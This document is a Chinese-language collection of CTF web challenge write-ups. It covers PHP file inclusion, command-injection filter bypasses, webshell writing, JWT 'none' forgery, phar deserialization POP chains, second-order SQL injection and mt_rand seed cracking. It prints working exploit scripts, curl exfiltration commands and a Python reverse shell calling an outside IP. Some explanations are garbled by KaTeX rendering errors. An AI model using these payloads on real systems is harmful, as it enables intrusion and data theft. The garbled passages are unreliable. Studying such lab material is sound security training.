PHP最新版的小Trick,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

/proc/[pid]`记录了系统运行的信息状态,而`/proc/self`指的是当前进程(自身进程)的pid,就类似于类里面的`this

/proc/self/root/是指向/的符号链接

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

[GKCTF 2021]easycms

提示弱密码,扫一下后台有个admin.php

admin 12345登陆上

编辑模板处可以添加php头,但是需要在system的tmp目录下有某个txt才会生效

告诉我们要创建一个wqlc.txt文件

利用名称进行目录穿越
…/…/…/…/…/…/system/tmp/xdwe

不知道为什么在这不行

法二

点击设计-->主题然后随便选择一个主题,点击自定义,有一个导出主题

随便输点东西会下载一个文件

复制文件链接

http://7f13aae6-7f23-4ed1-9971-d4717701e269.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

发现theme base64加密

解密得到 /var/www/html/system/tmp/theme/default/1.zip

猜测可能存在任意文件下载,将theme后面的内容改成将/flagbase加密后的字符串,得到

http://7f13aae6-7f23-4ed1-9971-d4717701e269.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

010打开也行

下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag

EasyBypass

题目已经给出提示flag在/flag中,所以我们只需要考虑如何绕过正则匹配即可

comm1过滤的少,我们从这里下手

用tac代替cat
用fla?代替flag(?代表一个字符)
构造payload

?comm1=index.php";tac /fla?;"&comm2=1

或?comm1=\nl&comm2=/fla?

\nl会被解析为nl命令(读取文件并显示行号)

[MRCTF2020]套娃

查看源码发现信息

对代码进行分析:$SERVER[‘QUERY_STRING’]:指的是查询的字符串,即地址栏?之后的部分,%5f指的是,那就是查询的字符串中不能存在_,php在解析字符串时会把点和空格解析成_,因此第一个判断可以使用payload:b.u.p.t或b+u+p+t来进行绕过,第二个判断要求b+u+p+t!==23333但是正则又要求是23333,因此这里采用%0a进行绕过(因为正则匹配中’^‘和’ $'代表的是行的开头和结尾,所以能利用换行绕过),最终获得secrettw.php

绕过:利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

打开secrettw.php显示仅允许本地访问,那就需要修改下访问地址为127.0.0.1,右键检查源代码发现jsfuck代码,放到console口进行执行获得提示信息

在源码发现jsfuck代码

直接丢到控制台解析,提示post传入Merak

传过去拿到源码

除了上面提到的限制ip为127.0.0.1用(Client-ip:127.0.0.1)还需要file_get_contents($ _GET[‘2333’]) === ‘todat is a happy day’,这里可以采用伪协议来绕过,然后还有change(G E T [ ′ f i l e ′ ] ) ,使其等于 f l a g . p h p , c h a n g e ( ) 函数主要就是这一句 c h r ( o r d ( _GET['file']),使其等于flag.php,change()函数主要就是这一句chr ( ord (GET[file]),使其等于flag.phpchange()函数主要就是这一句chr(ord(v[ $i]) + $i_2 ),输出结果为:每个字符串转换成asii码之后+i_2生成新的asii码,然后转成字符,所以我们就需要反过来,因为change()函数最终返回的是flag.php,那我们就需要将flag.php中得每一位进行转换成asii码,然后减去i*2在生成字母,最后在进行base64加密即可得到最终输入file得结果,所以最终payload:/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=,然后抓包修改下地址信息

拿到falg

[红明谷CTF 2021]write_shell

打开直接给源码

在此之前我们还需要找到要写入shell的文件路径,这时我们可以发现可以通过?action=pwd进行查看

sandbox/70579d1796bfdf99d77ae93cf4092361/index.php

这题由于写入的文件是后缀名为php的,也就是说我们的语法就得满足php,并且达到命令执行的点。但这题把php给ban掉了,因为php的代码开始标签是<?php,这样就导致我们没办法进行php脚本的写入,这就很难受了。好在还有个php的短标签可以使用。

尝试了一下可以成功写入,这个相当于,空格被过滤了用%09代替
至于;被过滤并不用单行,因为?>对于一组PHP代码中最后一句起到替代;的作用

PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符"`"的效果与函数shell_exec() 相同。

注意:
关闭了 shell_exec() 时反引号运算符是无效的。
与其它某些语言不同,反引号不能在双引号字符串中使用

?action=upload&data=

?action=upload&data=

?action=upload&data=

[网鼎杯 2020 白虎组]PicDown

知识点

python2的**urlliburlopen,和urllib2中的urlopen明显区别就是urllib.urlopen**支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件

恶意代码注入到/proc/self/environ

?page=…/…/…/…/…/proc/self/environ

User-Agent如下:

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link

进程中的部分文件

进程中的部分文件

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息

fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容

查看指定进程打开的某个文件的内容。加上那个数字即可,在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容

/proc/self表示当前进程目录

测试发现输入框的东西url是会改变的

尝试目录穿越…/…/…/…/etc/passwd会下载一张图片

非预期:直接读flag

预期:

读取

/proc/self/environ

/proc/self/cmdline

读取/app/app.py

1. from flask import Flask, Response 2. from flask import render_template 3. from flask import request 4. import os 5. import urllib 6. 7. app = Flask(__name__) 8. 9. SECRET_FILE = "/tmp/secret.txt" 10. f = open(SECRET_FILE) 11. SECRET_KEY = f.read().strip() 12. os.remove(SECRET_FILE) 13. 14. 15. @app.route('/') 16. def index(): 17. return render_template('search.html') 18. 19. 20. @app.route('/page') 21. def page(): 22. url = request.args.get("url") 23. try: 24. if not url.lower().startswith("file"): 25. res = urllib.urlopen(url) 26. value = res.read() 27. response = Response(value, mimetype='application/octet-stream') 28. response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' 29. return response 30. else: 31. value = "HACK ERROR!" 32. except: 33. value = "SOMETHING WRONG!" 34. return render_template('search.html', res=value) 35. 36. 37. @app.route('/no_one_know_the_manager') 38. def manager(): 39. key = request.args.get("key") 40. print(SECRET_KEY) 41. if key == SECRET_KEY: 42. shell = request.args.get("shell") 43. os.system(shell) 44. res = "ok" 45. else: 46. res = "Wrong Key!" 47. 48. return res 49. 50. 51. if __name__ == '__main__': 52. app.run(host='0.0.0.0', port=8080)

首先是定义了SECRET_KEY,然后将其删除,但是没有关闭,所以还能够在/proc/self/fd/【num】(此处[num]代表一个未知的数值,需要从0开始遍历找出)里找到,而且本题含有文件读取漏洞,所以可以得到SECRET_KEY。
/page下是定义了一个文件读取的功能
/no_one_know_the_manager下是传两个参数,如果key == SECRET_KEY,那么就可以执行命令,但是没有回显,可以用来反弹shell
试到3找到

D5mBvMGvbMF96GKzL989p98uECkbx741o5enb2U1YYo=

有了key值,就可使用python进行反弹shell

nc -lvp 8888

no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=curl 192.168.0.113:8888/ls /|base64

?key=xBkXb5RQ0BFm83FhqDFzIKhg5VEptG8b8ICi7/RqACc=&shell=curl 192.168.0.113:8888/cat /flag|base64

或直接

/no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.12.129’,8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,‘-i’]);”

[HFCTF2020]EasyLogin

产看源码发现有个app.js文件

分析可知,该题采用了koa框架,在getflag函数里发现有个/api/flag,应该是有返回flag的函数

按照koa框架的常见结构去获取下控制器文件的源码

const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); } if(global.secrets.length > 100000) { global.secrets = []; } const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({ token: token }); await next(); }, 'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) { ctx.session.username = username; } ctx.rest({ status }); await next(); }, 'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); } const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag }); await next(); }, 'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };

注意到/apu/flag路径校验为admin用户时才会返回flag,而登录验证方式采用的是JWT,所以可以尝试对JWT进行破解修改。,并且生成JWT是用HS256加密,可以把它改为none来进行破解。标题中的alg字段更改为none,有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。 此外对于本题中验证采用的密匙secret值也需要为空或者undefined否则还是会触发验证,所以将JWT中secretid项修改为[]
首先,要获取自己的jwt值,需要用burpsuite登录抓包(要先注册一个账号)

在进行解析修改

按照刚刚要修改的三个值修改,由于要修改alg为none,在网页上无法直接获取新的jwt,所以用python脚本生成,在此之前先用pip安装好生成jwt的库:PyJWT库

脚本;

import jwt token = jwt.encode( { "secretid": [], "username": "admin", "password": "123456", "iat": 1662825424 }, algorithm="none",key="").encode(encoding='utf-8') print(token)

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTc1NzY2NDE4OH0.

确定username为admin,且jwt为新生成的jwt后,放包,回到浏览器,访问

/api/flag

[SWPUCTF 2018]SimplePHP

信息收集提示flag在flag.php中

此外有file.php用来查看文件,upload_file.php用来上传文件,上传文件可能会存在各种过滤,在不清楚过滤机制的情况下通过返回信息调试绕过是困难且耗时的,所以先选择file.php尝试来获取页面逻辑

可以成功获取,那么依次把能获取到的页面源码均获取出来

file.php

<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

class.php

<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>

function.php

<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>

base.php

<?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->

upload_file.php

<?php include 'function.php'; upload_file(); ?> <html> <head> <meta charest="utf-8"> <title>文件上传</title> </head> <body> <div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </div> </script> </body> </html>

可以见到在file.php中会采用file_exist函数检查文件是否存在,而在class.php中名可以见到定义了一系列类,并且Test类具有的如下方法可以用来读取flag.php,那很显然接下来就是构造一条POP链并用phar伪协议去触发了,先构造POP链

<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c = new Test(); $c->params['source']="/var/www/html/f1ag.php"; $b = new Show(); $b->str['str']=$c; $a = new C1e4r(); $a->str=$b; $phar = new Phar("1.phar"); //.phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的 $phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象 $phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名 $phar->stopBuffering();

可以看到Test类最下面的file_get_contents就是我们的目的。
file_get_contents在file_get函数里,file_get函数由get函数调用,get函数由魔术方法__get调用(使用类里不存在的变量时调用)。
所以只要调用魔术方法__get即可调用file_get_contents($ value)。这里的v a l u e 就是我们要读取 f 1 a g . p h p 的路径,由 g e t 函数的 value就是我们要读取f1ag.php的路径,由get函数的value就是我们要读取f1ag.php的路径,由get函数的this->params[k e y ] 赋值, p a r a m s 是成员变量, key]赋值,params是成员变量,key]赋值,params是成员变量,key是魔术方法__get的参数,由使用不存在(这题来说)的变量时会把这个不存在的变量赋值给KaTeX parse error: Expected group after '_' at position 17: …ey。 那怎么调用魔术方法_̲_get呢?show类里有个魔…this->str[‘str’]->source,成员变量str变成一个数组,数组里面有个键值是str,这个键值指向一个成员变量source,说明str[‘str’]就是一个类,这个类里有成员变量source。
这时只要把str[‘str’]赋值成Test类,就变成Test->source。即使用Test类的成员变量source,但Test类并没有成员变量soure,所以会调用魔术方法__get(k e y ) 。 key)。key)key就是这个不存在的变量,在这题就是不存在的成员变量source。
而 $value = $ this->params[k e y ] ; 所以就要 p a r a m s [ key];所以就要params[key];所以就要params[key]=params[‘source’]=f1ag.php的路径。
这就是上面KaTeX parse error: Expected group after '_' at position 72: …由来。 那怎么调用魔术方法_̲_toString呢?C1e4…test,这时 $test只要是show类,即echo一个类,就会调用魔术方法__toString
在这运行要加上参数不然会报错

php -d phar.readonly=0 F:\php\php.php

重命名然后上传,文件名按道理来说应该按照源码中逻辑去对应构造获取,但是upload目录(function文件创建的目录)没有限制,所以可以直接查看获取到文件名

然后去file.php用phar伪协议触发就好了

[网鼎杯2018]Unfinish

进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行

进行目录扫描,发现了注册界面:register.php

那就访问注册界面,随便注册一个账户进行登录,注册好之后会自动跳转到登录页面,我们登上去发现我们的用户名出现在了界面上,那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了,那这就很符合二次注入的点了,我们就只能在注册的时候考虑用户名注入了,那我们就尝试构建一下payload

//注册用户
insert into tables values(‘$ email’,’u s e r n a m e ′ , ′ username','username,password’)

我们如果想要逃逸出闭合了那就只能跳出username了,但是这样的话这条查询语句就不对了,本来要插入三个变量,现在逃逸之后变成两个这显然行不通了,那么我们就只能考虑不去闭合,并且让我们的查询语句成功执行,这显然很好构建

insert into tables values(‘$ email’,‘0’ +(select ascii(database())) +‘0’,’ $password’)

进行注入的话那就先判断下被过滤的关键词

我们发现长度为922的被过滤掉了,所以网站把“ , 和 information”过滤掉了,这个时候后续注入表名、列名的时候就要用到sys库了,那么substr有没有不用逗号就执行的呢,显然是有的

0’+(select ascii(substr(database()from 2 for 1)))+'0

这里我们发现第四次字母变成0了,这就说明0 + 0 +0 =0就是查询语句没查出来,说明已经结束了,那么数据库的ascii编码就是11910198了 解码是web

现在我们数据库注入出来了,下一步肯定就是注入表名了,information已经被过滤了,所以我们就是用sys库进行注入。注入语句如下

先来进行表名的注入:
0’+(select ascii(substr(table_name from 6 for 1 )) from sys.x$schema_table_statistics limit 1)+'0

sys.x$schema_table_statistics:这是 MySQL 数据库中一个系统表(或视图),存储了数据库中表的统计信息,包含表名等数据

结果我们发现一直注册不了,但是我在自己本机的mysql中执行却可以成功执行,这可能是这道题使用的数据库不是mysql,可能没有sys库所以导致语句执行报错,从而执行不成功

构建python脚本
最后查询发现其他人的表名是靠猜的,那就用flag来进行flag的获取吧,构建注入语句如下

0’+(ascii(substr((select * from flag) from 1 for 1)))+'0

python脚本去跑,脚本代码

import requests import time from bs4 import BeautifulSoup def get_flag(): flag = '' url = 'http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/' register_url = url + 'register.php' login_url = url + 'login.php' for i in range(1, 100): time.sleep(0.5) register_data = {"email": "{}@1.com".format(i), "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"} login_data = {"email": "{}@1.com".format(i), "password": "1"} requests.post(register_url, data=register_data) response_login = requests.post(login_url, data=login_data) bs = BeautifulSoup(response_login.text, 'html.parser') username = bs.find('span', class_='user-name') # 取返回页面数据的span class=user-name属性 number = username.text flag += chr(int(number)) print("\r", end="") print(flag,end="") if __name__ == '__main__': get_flag()

[网鼎杯 2018]Comment

[GWCTF 2019]枯燥的抽奖

做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),初始页面逻辑为要求根据给出的部分字符串猜完整字符串,猜对了有flag,在初始页面源码中可以看到存在另外一校验页面check.php

访问后直接给出了check.php的源码

伪随机数(引用上面的链接内容)
伪随机数是用确定性的算法计算出来的随机数序列,它并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。伪随机数可以用计算机大量生成,在模拟研究中为了提高模拟效率,一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数,以保证计算结果的随机性。伪随机数的生成方法有线性同余法、单向散列函数法、密码法等。

mt_rand就是一个伪随机数生成函数,它由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。

所以:大致过程就明了了,我们根据已经给出的部分随机数,利用工具找出seed(种子),然后得到完整的随机数
将已知的部分伪随机数转化为php_mt_seed工具可以看懂的数据

str1 ='Hg11vtADEm' str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" result ='' length = str(len(str2)-1) for i in range(0,len(str1)): for j in range(0,len(str2)): if str1[i] == str2[j]: result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' ' break print(result)

下载后,放入linux环境,先make编译一下并且运行

得到种子104150405,同时要注意php版本是php7.1以上

执行代码的环境要是php7.1以上

再依据源码得到字符串

<?php mt_srand(348806110); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } echo "<p id='p1'>".$str."</p>"; ?>

EKLbAEQHRSyMxCfJ428A

[WUSTCTF2020]CV Maker

打开一看像是cms,又看名字CV Maker。我以为直接要搜cve打了。搜了一会发现没什么啊。那先正常做把

注册

注册成功后这里报错,猜测可能有注入点。先放在这里,继续登陆。发现是上传头像,那猜测可能有文件上传漏洞了

Warning: mysqli_set_charset() expects exactly 2 parameters, 1 given in /var/www/html/index.php on line 114 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:106) in /var/www/html/index.php on line 132 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:106) in /var/www/html/index.php on line 133

exif_imagetype函数,很常见的了,判断文件头是否是图片。

那我先传入一个图片马,上传成功。但是发现无论是.htaccess,还是各种格式的都无法上传成功,图片马也无法利用。

这时猜测是否能通过web应用程序解析漏洞绕过。报错网页,发现是apache

由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,jpg等扩展名是apache不能识别的,

因此如果一个文件名为1.php.gif。就会直接将类型识别为php,从而达到了注入php代码的目的

但是这里又无法上传成功,很奇怪。这里测试了一会,发现反着利用就可以了,上传1.jpg.php

看图片链接,发现上传路径/uploads。然后最奇特的一点,jpg好像被过滤成空了,直接是php文件了。那就直接利用。蚁剑连接,在根目录下找到flag

这里我这要抓包改后缀不然不会识别成php文件不知道为什么

[CISCN2019 华北赛区 Day1 Web1]Dropbox

做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),但是没发现有用信息。

正常登录注册尝试下功能,注意到上传后可以下载,而下载功能的路径未受限,可以把源码给下载下来

抓包看看下载功能,可以读取/etc/passwd

发现存在login class download delete

index

<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?> <?php include "class.php"; $a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>

class

<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>

login

<?php session_start(); if (isset($_SESSION['login'])) { header("Location: index.php"); die(); } ?> <?php include "class.php"; if (isset($_GET['register'])) { echo "<script>toast('注册成功', 'info');</script>"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("<script>window.location.href='index.php';</script>"); die(); } echo "<script>toast('账号或密码错误', 'warning');</script>"; } ?>

download

<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>

delete

<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>

主要利用class.php来得到flag

user类
public function __destruct() { $this->db->close(); }

可以通过这个析构函数调用其他类

FileList类

__call() 是一个特殊的魔术方法(magic method),用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用,从而实现动态方法调用的功能

public function close() { return file_get_contents($this->filename); }

思路
user类–>$this->db->close()–>FileList类–>__call()–>File类–>close()

可以使用phar伪协议,meta-data保存信息,它是序列化后的信息,phar://伪协议可以让一些函数自动反序列化这个字段信息
不管文件后缀名是什么,都会按照.phar来解析
通过脚本,生成.phar文件,上传之后伪协议读取

脚本 (这里flag为什么是txt就不知道了)

<?php class User { public $db; } class FileList { private $files = array(); public function __construct() { $file = new File(); array_push($this->files,$file); } } class File { public $filename = '/flag.txt'; } $phar=new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->addFromString('test.txt','test'); //添加要压缩的文件 $obj= new User(); $obj->db=new FileList(); $phar->setMetadata($obj); //将自定义的metadata存入manifest $phar->stopBuffering(); ?>

生成文件时还是要注意php -d phar.readonly=0 .\123.php

将生成文件后缀改为jpg上传

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 这个函数执行后,我们通过Web只能访问当前目录、/etc和/tmp三个目录,所以只能在delete.php中利用payload,而不是download.php,否则访问不到沙箱内的上传目录。

点击删除并抓包,修改文件名(下载页面对flag字段有过滤)得到flag

